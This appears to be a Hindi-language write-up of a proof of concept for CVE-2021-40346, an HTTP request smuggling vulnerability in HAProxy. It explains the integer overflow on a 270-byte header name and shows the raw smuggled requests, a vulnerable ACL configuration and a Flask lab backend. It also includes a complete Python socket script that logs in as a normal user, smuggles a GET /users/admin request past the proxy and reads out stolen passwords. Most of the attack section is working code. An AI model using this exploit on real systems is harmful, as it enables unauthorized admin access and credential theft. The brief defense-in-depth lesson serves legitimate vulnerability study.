
HTTP अनुरोध तस्करी
यह प्रोजेक्ट CVE-2021-40346 को प्रदर्शित करता है, जो HAProxy में एक गंभीर पूर्णांक अतिप्रवाह भेद्यता है जो सुरक्षा नियंत्रणों को बायपास करने के लिए HTTP अनुरोध तस्करी हमलों को सक्षम बनाती है।
CVSSv3 स्कोर: 7.5 (उच्च)
CVE-2021-40346 HAProxy के HTTP हेडर पार्सिंग तर्क में एक पूर्णांक अतिप्रवाह भेद्यता है। जब कोई हेडर नाम 255 बाइट्स से अधिक होता है, तो लंबाई मान 8-बिट फ़ील्ड से ओवरफ़्लो हो जाता है, जिससे HAProxy अनुरोध अग्रेषण के दौरान हेडर की गलत व्याख्या करता है।
हमलावर भेजता है: हेडर नाम = "Content-Length0" + 255×'a' = 270 बाइट्स
चरण 1 (प्रारंभिक पार्सिंग):
name_length = 270 % 256 = 14 (8-बिट ओवरफ़्लो) संग्रहीत करता हैvalue_length = 1 सेट करता हैContent-Length: 60 हेडर को पढ़ता है और इसे बॉडी लंबाई मानता हैचरण 2 (अनुरोध अग्रेषण):
"Content-Length""0"content-length: 0 जोड़ता हैContent-Length: 60 हेडर को अनदेखा करता है (सामान्य तर्क के अनुसार)बैकएंड प्रसंस्करण:
content-length: 0 प्राप्त करता हैHAProxy को ACL नियमों के साथ कॉन्फ़िगर किया गया है जो एडमिन रूट्स तक पहुँच को प्रतिबंधित करते हैं:
http-request deny if { path_beg /users/admin }
हमारे PoC में, हम संरक्षित /users/admin एंडपॉइंट तक पहुँचने के लिए एक सामान्य उपयोगकर्ता सत्र (alice) का उपयोग करते हैं जो केवल प्रशासकों के लिए सुलभ होना चाहिए।
दुर्भावनापूर्ण अनुरोध (अनुरोध 1 - जहर):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
HAProxy द्वारा अग्रेषित अनुरोध:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
पूर्णता अनुरोध (अनुरोध 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
बैकएंड द्वारा संसाधित पूर्ण तस्करी अनुरोध:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
परिणाम:
content-length: 0 के साथ POST / को अग्रेषित करता है (ACL सुरक्षित मार्ग देखता है)कमजोर HAProxy इंस्टेंस को एडमिन एंडपॉइंट की सुरक्षा के लिए ACL नियमों के साथ कॉन्फ़िगर किया गया है:
...
# एडमिन एंडपॉइंट तक पहुँच का पता लगाने के लिए ACL
acl is_admin_endpoint path_beg /users/admin
# एडमिन सत्र कुकी की जाँच करने के लिए ACL
acl has_admin_session cook(session) -m beg admin_
# यदि उपयोगकर्ता के पास एडमिन सत्र नहीं है तो एडमिन एंडपॉइंट तक पहुँच अस्वीकार करें
http-request deny if is_admin_endpoint !has_admin_session
...
मुख्य बिंदु:
/users/admin तब तक अवरुद्ध है जब तक सत्र कुकी admin_ से शुरू न होuser_ से शुरू होने वाले) अस्वीकार कर दिए जाते हैंबैकएंड सर्वर में तीन उपयोगकर्ता और एक एडमिन एंडपॉइंट है:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... प्रमाणीकरण तर्क ...
# भूमिका उपसर्ग के साथ सत्र टोकन उत्पन्न करें
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# सभी उपयोगकर्ता पासवर्ड सहित संवेदनशील डेटा लौटाता है
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
सुरक्षा मॉडल:
user_a1b2c3d4...admin_a1b2c3d4.../users/admin के अनुरोधों को ब्लॉक करता हैयह क्यों काम करता है:
POST / अनुरोध (अनुमत) देखता हैPOST / पर ACL जाँचता है (कोई एडमिन प्रतिबंध नहीं)content-length: 0 अग्रेषित करता है (ओवरफ़्लो बग के कारण)GET /users/admin अनुरोध प्राप्त करता हैGET /users/admin को सीधे संसाधित करता है, पासवर्ड प्रकट करता हैगहराई में सुरक्षा सबक: यह प्रदर्शित करता है कि बैकएंड को कभी भी प्रॉक्सी पर अंध विश्वास नहीं करना चाहिए। HAProxy के ACL के होने के बावजूद, बैकएंड को:
@require_admin डेकोरेटर)केवल प्रॉक्सी-स्तरीय पहुँच नियंत्रण पर निर्भर रहना एकल विफलता बिंदु बनाता है।
PoC चार प्रमुख चरणों के माध्यम से एक सामान्य उपयोगकर्ता के सत्र का उपयोग करके /users/admin तक पहुँचने के लिए HAProxy ACL को बायपास करने का प्रदर्शन करता है:
# alice (गैर-एडमिन उपयोगकर्ता) के रूप में लॉगिन करें
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# प्रतिक्रिया प्राप्त करें और सत्र टोकन निकालें
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
उद्देश्य:
/users/admin एंडपॉइंट तक कोई पहुँच नहीं है# एडमिन एंडपॉइंट को लक्षित करने वाला अधूरा तस्करी अनुरोध तैयार करें
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
महत्वपूर्ण विवरण:
/users/admin मार्ग को लक्षित करता हैDUMMY: हेडर (कोई CRLF नहीं) के साथ समाप्त होता है# ओवरफ़्लो हेडर बनाएं (270 बाइट्स = 8-बिट ओवरफ़्लो के बाद 14)
overflow_header = "Content-Length0" + ("a" * 255)
# पूर्ण विष अनुरोध तैयार करें
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"{overflow_header}:\r\n" # पूर्णांक ओवरफ़्लो ट्रिगर करता है
f"Content-Length: {len(smuggled_incomplete)}\r\n" # वास्तविक बॉडी लंबाई
f"\r\n"
f"{smuggled_incomplete}" # तस्करी अनुरोध "बॉडी" के रूप में
).encode()
क्या होता है:
Content-Length0aaa... (270 बाइट्स) 14 बाइट्स में ओवरफ़्लो हो जाता है"Content-Length""0"content-length: 0# विष अनुरोध भेजें
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096) # POST / प्रतिक्रिया प्राप्त करें
# पूर्णता अनुरोध भेजें (तस्करी अनुरोध को पूरा करता है)
completion = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"\r\n"
).encode()
sock.sendall(completion)
time.sleep(2)
# तस्करी अनुरोध की प्रतिक्रिया कैप्चर करें
all_data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
all_data += chunk
except:
pass
sock.close()
# डीकोड करें और सफलता की जाँच करें
text = all_data.decode('utf-8', errors='ignore')
print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)
if "admin_secret" in text:
print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
print("🔓 Stolen passwords visible in response above!")
else:
print("\n⚠️ Check backend logs - smuggling is working but response capture needs adjustment")
अनुरोध प्रवाह:
GET /users/admin को बफ़र करता हैGET /users/adminadmin_secret कीवर्ड की जाँच करता है